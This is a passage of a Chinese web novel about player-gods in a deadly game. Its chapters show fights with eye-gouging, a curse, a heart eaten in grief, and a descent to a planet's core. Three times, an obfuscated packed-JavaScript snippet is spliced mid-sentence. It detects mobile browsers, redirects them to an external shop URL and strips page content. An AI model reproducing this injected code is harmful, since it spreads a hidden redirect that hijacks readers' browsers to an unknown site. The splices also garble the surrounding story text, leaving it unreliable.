【预言师】发誓自己已经尽力了,但她还是没能再那样不要命且阴损的打法中保住自己的左眼。 长发青年一掌袭向顾屿的左肩。顾屿再次躲开,谁料这次对面虚晃一招。 在闪避的瞬间,段心慈选择直接侧身膝击她的胯。 面对这一招【预言师】简直惊呆了: 作为TOP.1的风骨在哪里?道德在哪里? 就在她吃痛俯身的瞬间,段心慈右手五指成爪,直取顾屿眼眶。 只听‘扑哧’一声,那颗如星空般瑰丽神秘的左眼被生生挖出。 暗紫与鎏金融汇的鲜血从顾屿空荡荡的眼眶里疯狂流涌。 56.爱是我甘心如此 “哈哈哈哈哈哈!” 单手捂住不断淌血的眼眶,【预言师】用仅剩的右眼死死盯住段心慈:“要是被我发现顾小鱼没死,你这个朋友我交定了!” 段心慈戒备地看向【预言师】,身体重心下压,如同蓄势待发的兽类。 她头也不回地把自己刚到手,还热乎的眼球扔给此刻已经震惊得不知道说什么好的艾里门手中。 棕发青年下意识伸手接住,但下一秒就立即甩了出去。 ‘天杀的,到底是谁在要这种东西!’ ‘段心慈!!’ 疯狂擦拭着掌心上的血迹,艾里门·歌德内心崩溃:‘……不要和【预言师】学奇怪的癖好!’ 副本外,T.T-Carro早已站起身—— 黑猫的身躯在瞬间膨胀数倍,顾屿眼睛受伤是它这一辈子都抹不掉的痛。 如今同样的惨剧再次发生,T.T-Carro陷入意识模糊的狂躁中。 它分不清…… 自己究竟处在第几届觐神宴。 那双悲戚的猫眼里只看得见顾屿眼眶流血的惨状。 “我诅咒祢——今生今世!” 黑猫凄哀地咆哮:“永永远远!!!痛失所爱!!!” 祂仍隐约记得和段心慈所做的交易,因此下意识脱口而出—— 是对方最无力承担的咒语。 很多年前,猫屋剧场—— 【暴食】端坐在阵法中,尾巴漫不经心地晃着:“祢想要关于什么的诅咒?” “如果可以……” 长发青年低低地笑了一声:“就诅咒我…爱上「自我」吧。” “带她回来。” 黑猫无所谓地许下诺言:“我答应。” 而此刻,绿赛图斯百无聊赖地坐在时间神座上,用祂惯有的傲慢居高临下地望着这一幕。 虽然事情的发展和祂试想的有所出入,但效果却出奇得好。 该说不说… 将T.T-Carro禁赛,留在场外是再明智不过的决策。 ''……毕竟,已经派上用场了啊。'' 从回忆挣脱,恢复理智【暴食】自知做出无可挽回的错误,浑浑噩噩地躺回地板上。 它现在只寄希望…… 顾屿能不要再对段心慈和她的养子痛下杀手。 诅咒落下的瞬间,副本内。 玄发青年一直挂在胸前的半截爱神牌应声而碎。 刻有心脏浮雕的金属牌化作星星点点,消散在空中。 她下意识抬手覆上胸口…… 只觉有什么东西在这个瞬间彻底消散,再也无法回到最初。 空茫到…… 要流淌出泪水。 “…你……”哭了? 顾屿原本还在自顾自地癫狂—— 如果不是她们之间可能隔着顾小鱼的性命,【预言师】恨不得当场拉着段心慈当场结拜为异姓姐妹。 见面前的人落泪,她踉跄着后退一步,不可置信地看向段心慈。 ‘没记错的话,被挖掉眼球的人是我才对吧!’ 段心慈顺着对方震撼的目光,机械地用指腹拭去自己面颊上的水痕,目光依旧阴沉、戒备地看向顾屿。 顾屿:“……” ‘不是,这什么脾气?’ 不是血,只是清透的泪水。因此在这张脸上显得更不可能。 比顾屿更震惊的当属艾里门·歌德。 段心慈在她眼里一直是流血不流泪的形象。 刚坐上TOP.1交椅的青年远远没有现在那么强。 她总是受伤,要她性命的仇敌更是数不胜数。 每次出门前,那件深灰色的外套还是干净的,带着洗洁剂的清冽气息。 等到晚上回家时,外套上已经凝固上厚厚一层血块。 有段心慈自己的,而大部分血液属于那些前仆后继的玩家。 浓郁的血腥混着洗洁剂的柠檬味,十分诡异。 无论受多严重的创伤,这人从来没有流过一滴泪。 就连疼痛的生理性泪水也没有。 艾里门甚至一度怀疑段心慈其实根本没长泪腺。 但现在她可以确定段心慈至少没有这方面的健康缺陷。 比心痛先一步占据情感的,是长久以来刻在TOP榜骨血里的…… 「僭越」本能。 泪水与示弱画上等号,段心慈已经不再强大。 艾里门·歌德的杀意如烧尽森林的野火般暴涨,这一刻自身受伤与否都不再重要。 推翻旧王。 由此便能分得一杯羹。 然而生命之所以有灵魂…… 是因为它们总能学会什么是克制,什么是—— 爱。 对艾里门·歌德来说…… 这份「僭越」的本能,早已在她对段心慈刻骨铭心的爱里压缩进一个暗无天日的角落。 是以下个瞬间,她便立刻冲过去挡在段心慈面前。 仅剩的右眼狠狠瞪视着同样少了一只左眼的【预言师】。 “……不是,你听我解释…” 顾屿感觉自己在这件事上很冤枉。 诚然她没有核清事实就对艾里门·歌德下手没轻没重,对段心慈下手也没轻没重…… ‘好吧,我不冤枉。’ 想到这里她有点心虚地盯了盯地板。 “……红药,交出来。” 段心慈把挡在自己身前的艾里门·歌德往身后拽了拽,声音有些沙哑。 “否则我不介意和祢同归于尽。” 她不能保证自己能活着杀了【预言师】,但做到和【预言师】同归于尽的概率却是100%。 “其实。” 顾屿看地面更加入迷:“红药在你进来的时候。” 她顶着段心慈危险的目光,还是说完了自己要说的话:“已经被我砸了。” 得知波绪拿死亡,跑满世界终于找到这间仓库来和自己小队汇合—— 刚站到门口就听到这么一句话的元翎:“……???” ‘我错过了什么?又发生了什么?’ ‘还有,【预言师】和【地母】!’ ‘你们俩的左眼呢?!!’ 元翎不得不做出最可怕的揣测—— 那就是段心慈已经临阵反水想要毁灭世界。 这才是最正常的! 元翎心底推测,段心慈先行残忍杀害【摇篮】波绪拿。 随后对艾里门·歌德和顾屿痛下毒手,挖去这二位的左眼。 毕竟同时失去左眼…… 不像意外,更像是某种残忍可怕的仪式。 想到这里,元翎打了个寒战。 怪不得【预言师】把拯救世界的红药砸了,多半是段心慈强迫对方这么做的。 顾屿看着逆光站在门口的元翎,对他招招手。 元翎只好硬着头皮走进仓库。 少了一颗眼球的艾里门·歌德看起来有种不要命的疯狂。 顾屿…… 还是和之前一样。 她的凶戾被完好隐藏在神秘虚幻的皮囊下。 缺少一颗眼珠只让她看起来更加叵测善变。 至于双眼完好的段心慈…… 元翎觉得混凝土地面比平时更具吸引力。 所以—— ‘救命,我到底是为什么要过来自讨苦吃啊!’ “你是说,你们聚在一起完全是因为意外?”鹦鹉目光飘忽。 “对。” 艾里门·歌德不情愿地点点头:“顾屿的眼睛是她自己挖的。” 元翎不懂:“那你的?” 艾里门·歌德:“……我的也是我自己挖的。” “但你再问下去……” 顾屿笑容得体:”恐怕你的左眼,会变成第一个被别人挖下来的。” 元翎识相地把嘴闭上。 整个过程中段心慈自始自终都没有说话。 或者说,她沉默得不正常。 “总之,波绪拿死了。” 窒息的沉默里元翎试图做出总结:“这里的红药也碎了。” “也就是说,我们阵营满打满算也只有3瓶药剂。” “……” “往好处想,至少代号十没有说过必须5瓶才能拯救世界。” 元翎竭力缓和气氛:“也就是说只要我们夺走对方的3瓶药剂并毁掉,理论上是可以获胜的。” “……我会帮忙的。” 顾屿声音有些发闷:“如果是毁掉对方的药剂,也就是一句话的事儿。” 但现在最重要的,还是所谓世界核心。 那究竟是什么东西。 就在这时,二部手机铃声同时响起。 艾里门·歌德拿起自己的手机,同时注意到段心慈的手机并不在她手里。 ……是打架的时候弄丢了吗…也好。 那样,就看不到自己发的消息了吧。 她还活着,段心慈如果看到那条消息,多少会有点尴尬。 想到这里,【地母】反而有些庆幸对方没有收到那条短信。 【我要把你们剁成腻子涂墙(8)】 【织觉人】:【摇篮】死了?@【神的怨、憎、恶】 【地母】:对。 【地母】:@【织觉人】别@了,段心慈手机丢了。 【织觉人】: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527121|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …多大个人,手机还丢了。 【地母】:。。。 【织觉人】:你也很无语对吧! 【地母】:滚@【织觉人】 忒尼斯·厄洛诺斯正奇怪艾里门·歌德今天态度怎么这么奇怪,就看见那个家伙又发了一条消息。 【地母】:回来@【织觉人】 【地母】:私聊给你看个好玩的。 【织觉人】:?OK。 狐蛇不信艾里门·歌德会对自己热心肠过。 但好奇心作祟,她还是打开二者的私聊界面,等待对方发来消息。 艾里门·歌德心中冷笑。 她知道那头狐蛇现在绝对好奇心作祟,巴巴地等在屏幕后面。 青年三步并作两步走到【预言师】身旁,对正在清理眼眶周围血污的顾屿道:“我可以用性命担保T.T-Carro绝对没有被段心慈杀死。” “现在,帮我个忙。” 顾屿停下手里往眼眶里塞棉花球的大业,讶异地看了艾里门·歌德一眼:“你不怕我了?” 她对自己的变态程度突然有些不自信。 艾里门·歌德深感莫名:“我什么时候怕过你了?” 顾屿心说你刚才瑟瑟发抖的时候不是这样的。 但她决定在没亲自确定顾小鱼生死之前,还是不要起争执来得好。 毕竟如果顾小鱼还活着,顾屿却死了,那同样是个悲惨的结局。 “……什么忙?”【预言师】选择暂时顺从。 艾里门·歌德伸出手,把对方左眼眶里好不容易整整齐齐塞进去的染血棉花球挨个揪出来。 在顾屿还没来得及发飙之前将自己的脑袋靠过去。 一手勾住顾屿的脖子并举起手机,另一只手贴近脸颊比了个耶。 ‘咔嚓——’ 闪光灯亮起。 呲牙咧嘴,惊悚地望着身边艾里门的【预言师】以及笑得开怀且神情阴鸷癫狂的【地母】就此定格。 更重要的是,二者左眼是如出一辙的空无一物。 照片拍完的下一秒艾里门·歌德立刻甩开顾屿。 顾屿:“……?” ‘你知道吗,你们母子俩一样怪!’ 【预言师】不知道的是,艾里门·歌德的的确确从来没有恐惧过顾屿本人。 她不恐惧受伤或遭受屈辱,唯独惧怕被段心慈抛弃。 那时艾里门·歌德不知道,少了一只眼睛的自己还没有资格被段心慈喜欢。 如果不再喜欢了呢? 如果被放弃了呢? 她知道自己全身烧伤的身体就已经足够丑陋,再失去一只眼睛…… 她不敢想…… 艾里门·歌德知道段心慈很喜欢自己的眼睛。 但她不知道,段心慈是因为先喜欢她的灵魂,才喜欢望着她的眼睛。 某头花里胡哨的厄洛诺斯曾经和段心慈说过:盯着患者的伤处一直看是件很坏对方自尊心的事。 玄色长发的青年一直记得这句话。 只是没用在忒尼斯身上。 艾里门·歌德点开美图软件,给照片添上阴森怪诞的滤镜,一键发送给已经在聊天界面前等待许久的狐蛇。 私聊—— 【 】:照片[定位共享] 不等对方的狂轰乱炸,青年先一步熄掉手机,走到段心慈身旁。 在最初的凌乱过后,【预言师】细细回想一番刚才艾里门·歌德抓拍的照片。 别说,拍照技术还挺好。 “那个,”顾屿叫住艾里门·歌德:“等把绿赛图斯做掉。” “你刚才的照片记得发我一份。” 等以后还能拿给顾小鱼一起看。 那时候她就能指着照片里的艾里门·歌德,跟猫说:“宝宝你看,这个玩家被我挖掉了一颗眼珠子。” 再指着照片里的自己说:“我被她暴怒的母亲也扣掉了一个。” “这是我们的纪念照。” 顾小鱼听完一定会非常崇拜自己。 “?” 艾里门·歌德:“哦,行。” 有意外但不多。 【预言师】多少是有点变态癖好在身上的。 也就在闲聊的工夫,仓库多灾多难的大门再次发出‘哐当’一声巨响,被第三位玩家—— 即收到艾里门·歌德照片,惊悚、情急之下赶来的忒尼斯·厄洛诺斯,踩在脚下。 她不可置信的目光在顾屿和艾里门·歌德二者脸上徘徊:“你们到底在玩什么变态游戏!” “段心慈!你…” 怎么不拦着他们……? “……” ‘……你怎么了?’ 57.回咽是否能挽回 忒尼斯·厄洛诺斯说不上段心慈现在有哪里不对,但… 冥冥之中,她感觉站在自己面前的不是一个人…… 而是半个。 有什么最重要的东西消失了。 “真理啊,你们到底在搞什么?!” * 时间回到忒尼斯·厄洛诺斯刚收到【地母】发来照片的时候—— 没人知道她花费多大意志力,才没把那句刻薄之极的‘鬼图打码’发出去。 狐蛇起初以为这张照片是艾里门·歌德P的。毕竟【地母】的P图和摄影技术好得出奇。 但很快她发现这张照片上一点修图痕迹都没有。 巨大的荒谬感凝固在她脑海里—— 这怎么可能? 一个是前届TOP.1【预言师】一个是现届TOP.4【地母】。 谁能有实力把她俩的眼珠子挖了? 副本BOSS?还是先前发疯的【摇篮】? 【织觉人】从来不觉得会是段心慈做的。 ‘所以……’ ‘你们那边到底发生了什么?’ 说不清究竟有几分抱着看热闹的心思,又有几分源自她自己也不确定的担忧。 忒尼斯·厄洛诺斯招呼也没和自己小队的其余玩家打,直接来了仓库。 但情况显然比她最开始想的要糟糕—— 不是因为艾里门·歌德和【预言师】各自缺少一只左眼。 也不是因为段心慈看起来浑浑噩噩。 更不是因为元翎一直在盯着水泥地面的头终于抬起来。 而是她终于迟钝地意识到,自己被艾里门·歌德算计了。 羊入虎口不过如此。 三届TOP.1加上一个实力完全不逊色于自己的同届TOP.4【地母】。 她到底是吃错了什么药才会来这里? 别说少俩眼珠子,就是少一百颗眼珠子都不是她该操心的。 这里能有什么事儿? 这里能有什么好事儿? 这里又能有她忒尼斯·厄洛诺斯什么好事儿! 天啊。 用蝰蛇脑袋想也能得想出来! “……艾里门·歌德!” 狐蛇简直气急败坏。 “哎,忒尼斯。我在的。” 艾里门·歌德脸上不见心虚,反而全是跃跃欲试。 忒尼斯·厄洛诺斯气个倒仰。她从来没觉得自己像今天这么倒霉过。 整整三位TOP.1啊,三位! 顾屿能和段心慈杀得有来有回…… 而元翎再不济也要比穆格罗和他那把刀强,不然穆格罗也绝不会让元翎当代打—— 艾里门·歌德这是要她死吗?! “不就是要我的蓝药吗!” 忒尼斯·厄洛诺斯当即把自己揣兜里的蓝药扔向段心慈身旁的艾里门·歌德:“给你。” 艾里门·歌德抬手接住,看着手里突然由蓝转红的药剂顿了顿。 绿赛图斯爱看内斗这件并非秘密,这还的确是祂能做出来的。 对气急败坏的忒尼斯·厄洛诺斯晃晃手里的蓝药,艾里门·歌德点了点空空的左眼眶:“谢啦。” 狐蛇转身就走—— 她不想在这个恐怖的地方多待哪怕一秒。 “这就走?” 顾屿阴森无比:“祢要走到那里去?” 狐蛇背影一僵:“……我。嗐,我去附近码头逛逛。” 顾屿并没有阻拦而是对她说:“那祢逛完记得回来,我们这儿正好少个队员。” “两手空空回到祢的队伍,场面会很糟糕的吧。” 忒尼斯:“……” 这根本不是揣测,而是预言。对吧。 ‘该死的【预言师】,活该祢被段心慈挖掉左眼。’ 对狐蛇来说要推出这件事的真相并不难: 场上一共就四名玩家。 元翎一个不知道几万年前的老古董,对上顾屿只有被碾压的份。 艾里门·歌德虽然实力强横,比起段心慈与顾屿还是差了一大截。 况且她和【预言师】同样少了一只左眼。 这点很耐人寻味。 元翎看上去是他们当中最毫发无伤的那个。 如果他对艾里门下手,绝不会是现在这副置身事外的模样。 段心慈做人做神都有些变态,但还没有丧心病狂到对养子下手的地步。 那就只能是顾屿因为不明原因剜掉艾里门·歌德的左眼,段心慈投桃报李剜掉了顾屿的左眼。 啧。 这家伙绝对是刚解决完【摇篮】,就马不停蹄地去找顾屿打架了。 但凡她休息个十分钟十五分钟,顾屿现在少的绝对不止一个眼球。 不过艾里门·歌德是不是还活着就不好说了。 ‘段心慈,你到底行不行。’ 虽然心底慊弃,忒尼斯·厄洛诺斯也知道……换做自己恐怕最多薅下来【预言师】的一根头发丝儿。 是以她现在最好收敛一些。 “我知道了。” 不就是变节投敌吗。 狐蛇对自己的道德要求一向很低。 另一边对于突然失踪的忒尼斯·厄洛诺斯,谢挽非等玩家早已不报任何她还会回来的希望。 波绪拿已死,但忒尼斯的自投罗网多半会让对方阵营补上这份空缺。 最坏的打算是对方阵营已经拿满五支药剂。 就在他们以为还需要再找到一支额外的蓝药,才能让双方持有数量持平时…… 系统发在群聊里的消息却让两方长舒一口气的同时感到疑惑: 【我要把你们剁成腻子涂墙(8)】 [检测到双方此时拥有药剂数量一致,场上将不再出现新的药剂,原有药剂也将消失。] [请积极寻找世界核心完成任务。] 这样一来,如果想获得决定性的胜利就必须要取得对方阵营的药剂。 “我现在对药剂不感兴趣……” “我们已经持平了,对方手里也只有4支药剂而已。” 谢挽非单手托腮:“世界核心究竟是什么?” 维莉亚·涅挪想了想:“试一试你的【唯心主义】?” 如果是【主角】定义的世界核心,那么就算不是世界核心,也会变成世界核心。 嘉里亚·涅挪看附近的一只金龟子就很有成为世界核心的潜质。 “那我会失去推理的乐趣。” 谢挽非断然拒绝。 涅挪姐弟:“……” ‘这东西能有什么乐趣?’ “要不然!” 【匿名】提议:“我们按照字面意思理解?” “世界核心,就是世界核心嘛……” 谢挽非若有所思:“你是说……星球核?” * 港口仓库。 顾屿闭上右眼,再睁开时,鎏金细沙从暗紫的虹膜深处淌过。 预言生效。 “谢挽非会认定星球核是世界核心。” 至此世界核心的千万种可能尽数消失,只剩下这一个选项。 她的预言并非真正全无代价,况且现在缺少左眼。 能让【主角】帮自己分担一部分实在是……再好不过。 “所以,为什么是星球核?” 忒尼斯·厄洛诺斯好奇问道:“而不是那家街角酒吧?” 【预言师】莫名地看了她一眼:“世界核心至少要撑得起世界吧?” “物质上比如氧气,水,星球核。” “灵质上比如主角,世界意识或者世界万生万灵的总和……之类的。” “灵质对你们来说很难找。” “谢挽非也不会站着不动,让你们把来路不明的药水打进她血管里。” 顾屿看狐蛇的眼神就像在看傻瓜:“相比飘忽不定的氧气与水之类,星球核已经是最优选。” “毕竟这个世界很小。” “……【预言师】说的每个词汇我都认识。” 忒尼斯·厄洛诺斯双眼放空:“为什么连在一起,硬是半句没听懂。” “你只需要知道,你看上的那家街角酒吧没有成为世界核心的资质就够了。” 艾里门·歌德体贴地告诉她真相。 “……好吧。” 忒尼斯·厄洛诺斯有些不愉快,却也没再反驳。 空气一时陷进怪异的沉默里,没有玩家说话。 只剩下元翎的呼吸声。 在察觉到这点后元翎把穆格罗躯体的呼吸功能暂时关停。 对于绝大多数代号十玩家来说,呼吸更接近行为艺术,而非真正生存所需。 这下周遭只剩下更为苍白可怖的死寂。 静到,每个玩家都能听清自身颅内响起的,不同程度的高频脑鸣。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“…真理在上……” “别吃了吧?!醒醒!祢根本没这么饿!” 狐蛇崩溃得连手指都在发抖:“艾里门!艾里门你拦住她啊!” “别捡地上的!…有泥巴……!!” 说到最后她明显变得气若游丝起来。 可以说目前为止发生的每一件事,都在强行突破这位新晋诡计之神的下限。 好好一个TOP.3混成【织觉人】这样凄惨的属实少见。 元翎躲在墙角里一言不发。 如果是鹦鹉原身,现在,它的脑袋就会在翅膀下。 而不是低着穆格罗的头,在这里胆战心惊地研究水泥地。 顾屿遭受的冲击力一点不比这里的其余玩家少。 “别吃了! 她快被段心慈逼疯了,这家伙简直像自己的克星:”“内脏和血离开身体都是不能吃的!” “段心慈祢还记得我们的副本任务吗!” 说着【预言师】就要上前把段心慈从地上拉起来。 从看到那些银白肉块开始,艾里门就一言不发。 见顾屿要上前,她一把拦下要去拽段心慈的人。 得亏【预言师】本身用力不大,否则又是一场血案。 【预言师】:“?” ‘见鬼。这母子俩到底什么毛病!’ 艾里门·歌德声音沙哑却不容拒绝:“让她吃。” 忒尼斯·厄洛诺斯大为惊悚地将狐狸耳朵向后一背。 那双粉橘色挑染的浅蓝毛绒大耳朵几乎要倒贴到头皮上。 狐蛇心下骇住:‘……艾里门已经心理变态到这个地步了吗?’ 元翎身躯一抖。 把自己的存在感一降再降。 惹不起,这些变态他一个也惹不起。 “等她吃完我们再走。” 艾里门·歌德态度强硬。 仅剩的深棕色右眼瞳里,是将性命置之度外的决绝。 58.永不餍足的火舌 【预言师】在心底掰着手指数了数,从自己上辈子做了什么恶事,再到自己这辈子做了什么恶事。 发现除了自己不分青红皂白剜了艾里门·歌德的左眼以及和对方的家长打了一架以外…… 她可以问心无愧地说自己两辈子加起来什么坏事都没做过。 预言之神必须有一双看清真相的眼睛,很显然她这次十分失职。 报应来的如此之快,几乎是下一刻就被真理审判—— 荣获被害者的同款遭遇。 现在看来真理认为她该遭的报应还远远没有结束。 顾屿顿时释然。 ‘失败就失败吧!’ “那就等她吃完。反正我们也不差这么一会儿。” 反正末日结束也就通关了。 让谢挽非小队代替自己忙碌又有何不可呢? 想明白这点的顾屿反而不着急,她悠哉游哉地蹲下身—— 在艾里门·歌德震怒且来不及阻止的目光里,鬼鬼祟祟地将手伸向一块银白色碎片。 并且已经优雅张嘴。 “祢还要偷吃段心慈的爱人?!” 【地母】怒不可遏。 顾屿伸出去的手一顿…… ‘等等?你说这是什么玩意?’ 忒尼斯·厄洛诺斯仔细端详了一番地上的那滩不明物体:“……哈?爱人?” 段心慈的动作比顾屿更快,她一把擒住顾屿的手腕狠狠向后一掰。 失去爱人后短暂的茫然无法阻拦她前行的步伐,只有仇恨的火焰越烧越旺。 ‘绿、赛、图、斯。’ 她艰难咽下爱人死去的心脏,同时将仇敌的名字死死铭记。 顾屿的右侧肩胛骨彻底碎裂,软绵绵地搭在一旁。 【预言师】:……T^T ‘这和我想的不一样T^T。’ 与此同时,仓库外墙边上,杵着并不急于拯救世界的谢挽非等玩家。 他们没能错过那段由艾里门·歌德亲口说所,乍一听格外惊世骇俗的话。 “……??” ‘你们拯救世界小分队到底在里面干什么?’ 进退两难说的就是现下这个局面。 里面玩家肯定听得见他们在外面的声音,不进去反倒显得做贼心虚。 好在谢挽非进门的时候,段心慈终于把她的心脏碎肉一个不落地全部咽下。 支离破碎的仿生脏器被尽数吞食,水泥地上只剩大片被涂抹的血迹。 忒尼斯·厄洛诺斯不断安慰自己:现场看起来至少没有刚才那么猎奇。 少年看见蹲在地上扒拉血迹,试图寻找什么的段心慈,眼底闪过一丝好奇。 “……呃,是这样的。” 求生欲占据上风,谢挽非克制住上前的冲动,席地而坐:“世界核心被我定义成星球核了。” “特意过来通知你们一起去玩玩。” 【匿名】咂舌:“……但现在他们明显在背着我们玩更好玩的。” 涅挪姐弟默默离他远了些。 【主角】:“……” 顾屿冷冷地睨了他一眼。 【匿名】看着对方左边空荡荡的眼眶默默把嘴关上。 ‘【预言师】的眼眶怎么空空的?’ ‘算了,这和我【匿名】没关系。’ “但是呢,在那之前。” 谢挽非扯了扯自己身上的囚服:“我觉得我们有必要把衣服换回去。” 忒尼斯·厄洛诺斯立即举双手赞同,她惦记自己那条荧光绿裤子很久了。 段心慈也没有异议。 她黑白横条囚服上沾满红红绿绿的血液,还有相对少量的鎏金紫色。 这些跳脱的颜色组合,看得玄发青年额角一抽一抽地疼。 于是在第五日下午,这些玩家重新返回到那所沙漠监狱。 相较于来时他们少了两个玩家。 狱警对这些东西的再次登门感到格外惊讶,但还是利索地将这些‘人’的衣服还给他们。 最近全球混乱、食物短缺。这些大胃王他们一个也养不起。 倒不如以人道主义为理由,放任这些家伙在外界自生自灭。 “都在这里了!” 她抱着厚厚一摞箱子摆在几位玩家面前:“最近不太平。你们换好就赶紧走吧!” ‘可千万别留下来吃晚饭了。’ 段心慈没有脱下囚服,而是选择直接把要穿的衣服套在外面。 随着青年将最后一件深灰色的大衣披上……几位玩家目露疑惑,却始终闭口不言。 艾里门·歌德歪过脑袋,盯着身边的人。 深棕色长发因这动作散开,由此可见在她脸颊两侧个呢吧没有所谓的‘耳朵’。 两朵暗红艳丽的缠丝帝王花盘踞在人类‘耳朵’的位置,花蕊如虫如丝,同样具备‘听’的功能。 虽然不知道段心慈为什么不脱囚服,不过对方这么做她也就跟着这么做。 这朵帝王花还以为是保暖问题。 谢挽非和【匿名】同样没有犹豫,选择直接套。 忒尼斯·厄洛诺斯看到那条依旧完好无损的荧光绿裤子眼神一亮,当即将它抽了出来。 余光瞄了旁边阴沉的段心慈一眼,她在憋屈地犹疑后,还是把绿裤子套在了囚裤外。 套完后,狐蛇自觉黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527548|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白相间的裤脚管露出一截搭在鞋面上,相当好看。 至于上半身,她觉得段心慈不能管那么宽。 “……祢们几个为什么…不把囚服换掉?!” 元翎大为震惊。 总不能是穿出感情来了吧! 【死者】光着膀子,露出精壮的上半身。 后背那条蜿蜒狰狞的疤痕没有因为岁月的迁移而减淡半分。 出于不想被段心慈按在地上揍的念头,她多少穿着裤子。 【生者】同样。 很难和一只鹦鹉讲明白这点。 忒尼斯·厄洛诺斯也不懂。 但不妨碍她用自己的见解告诉元翎:“那些生下来就是人形的生物大都这样。” “他们有自然躯体过敏症。” “不信你去问五号。虽然穆格罗不是完全人类,但他肯定也有。” 元翎乐颠颠地跑去脑内询问。 两秒后,穆格罗上号了。 他神色扭曲地抓过衣服就往身上套,同样没脱囚服。 直到穿衣完毕回到意识世界,全程没和任何玩家沟通。 看得出元翎没跟他说什么好听话。 【匿名】阴沉黏腻的目光剐过元翎,凑到鹦鹉耳边低声蛊惑:“你重新脱下来,好不好?” “我可以亲手帮你切掉。” 元翎抱住自己,后退一步:“?切掉什么?” “你休想给我剪羽。”他恍然大悟并坚定拒绝。 【匿名】:“……” 【匿名】的目光更阴森了。 待到一行玩家穿戴完毕,已经是第五日下午的十五点三十六分。 “去核心吧。” 谢挽非仰望着蔚蓝色的天空,真心感慨:“希望之后的任务一直如此简单。” “……呃,那【虔诚者】和【摇篮】的衣服我们不管了吗?” 抛开对‘简单’一词的理解…… 时至今日,元翎依旧为这些玩家对同伴的冷血态度感到难以苟同。 “弄个衣冠墓?“ 【生者】抱臂提议:”说不定以后还会有来探望的机会。” “……还是算了吧。” 【死者】扯住【生者】乱七八糟的衣领,粗暴地打理一番:“我们和他们本就不熟。” 再谈论下去也是毫无意义的对话。 玄发青年打了个响指。 一簇火焰自她的指尖燃烧。 火划过卡利安·尤菲与波绪拿的衣服。高温下,一切都灰飞烟灭。 段心慈空无的眼底映出源自她的,永不餍足的火舌。 “走了。” (第二卷-完) 59.像束缚又像索取 第五日。 午夜23:59 “这里就是地表离核心最近的地方?” 【织觉人】忒尼斯·厄洛诺斯双手插兜,环顾四周。 目光所及除了沙土就是裸露的红褐色岩石群。 “不算。” 头顶阳光过于刺目,谢挽非眯起好看的眼睛。 “如果只是离星球核心最近,那我们应该在深渊海沟那里。” “但这里最方便。” 段心慈转转手腕,对准核心所处的贯穿线一拳砸下。 【主角】还在疑惑:“其余玩家不能做到吗?” 怎么看都有种把TOP.1当苦力的错觉。 对玩家首席力量一无所知的谢挽非被狐蛇拉过衣领紧急后撤。 随着巨大的力量波动散开,地面轰然塌陷,楼盘横截面大小的深坑出现—— 滚烫的亮蓝色液体在地下翻涌,闪动金色的光芒。 炽热沸腾的高温,即使在地表依旧可以清晰感受。 “……当然可以,呃,但我们…” 忒尼斯·厄洛诺斯换成有些含蓄的说法:“你也不想看到这颗星球突然四分五裂吧?” 虽然把段心慈当苦力确实不太好。 但换作任何其他玩家,哪怕是【预言师】出手,都可以直接快进到世界毁灭。 ‘谁让段心慈是祂们几个里面,对力量掌控最精准的呢?’ “……?” 谢挽非扶了扶脸上的墨镜。 站在人造悬崖边缘,她低头看着崖底:“这是岩浆还是……液态外核?” 【死者】对着下面仔细辨认一番,最终确认:“液态外核。” 这是少年人生中第一次有机会直面液态外核。 “我以为会是金红色的呢。” “这不一样。“ 维莉亚·涅挪:”不过在星球里,亮蓝色确实少见。” “……我就不下去了吧?” 谢挽非目光落在面板上,防御只有10000的数值。 她自知没有在4400℃至6100℃液态金属里乱逛的实力。 虽然唯心主义很好用,但也有实在无法催眠自己的事情: 比如眼前滚烫炽热的外核。 ‘话说都到这个地步,世界还没有毁灭是不是不太正常?’ ‘难道不应该早就在宇宙里炸开了吗?’ “不一定要下去。” 维莉亚·涅挪似乎对【主角】很有好感,于是耐心解释起来:“它会主动找我们。” 谢挽非有种不妙的预感。 亮蓝的液体中央突然浮出一座「岛屿」。 微微突出平台缓慢升起,炽热的蓝色熔浆顺着突起的弧度滑落。 「岛屿」转动了两下,露出边缘浑浊的血丝。 于是谢挽非终于分辨出,那是一颗巨大的眼珠正从坑底自下往上,奇异地凝视着他们。 【主角】:‘……?’ 眼球的属主似乎没有想上来和他们一叙的意思。 亮蓝的眼睛缓缓下沉,最后淹没在熔浆里消失不见。 熔浆再一次翻动。 露外表怪异,胶质肉管盘根错节的半透明蓝色火山口。像是由不同质地的生物组织黏连,结合在一起。 失去一半灵魂后,玄发青年对自身安全权衡利弊的能力也彻底消失。 是以她站在自己创造的杰作前,想都没想,率先跃下。 艾里门·歌德:“?” 她无话可说。助跑两步,也跟着跳了进去。 【匿名】爬在大坑边缘,蛄蛹着身子一点点往下看。 【生者】不知什么时候已经悄无声息地站在【匿名】身后。 “我觉得我胆子比较小,缺一个探路的。你说呢?” 被阴影笼罩,【匿名】下意识转身。 